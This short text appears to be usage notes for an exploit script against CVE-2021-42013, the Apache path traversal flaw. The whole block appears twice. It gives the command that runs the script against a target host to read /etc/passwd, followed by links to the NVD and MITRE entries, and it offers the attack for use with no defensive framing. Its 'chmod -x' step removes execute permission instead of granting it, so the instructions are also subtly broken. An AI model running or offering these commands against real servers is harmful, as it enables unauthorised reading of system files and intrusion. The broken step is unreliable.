chmod -x CVE-2021-42013.sh
./CVE-2021-42013.sh http://ip:port/ /etc/passwd
https://nvd.nist.gov/vuln/detail/CVE-2021-42013
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
chmod -x CVE-2021-42013.sh
./CVE-2021-42013.sh http://ip:port/ /etc/passwd
https://nvd.nist.gov/vuln/detail/CVE-2021-42013
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013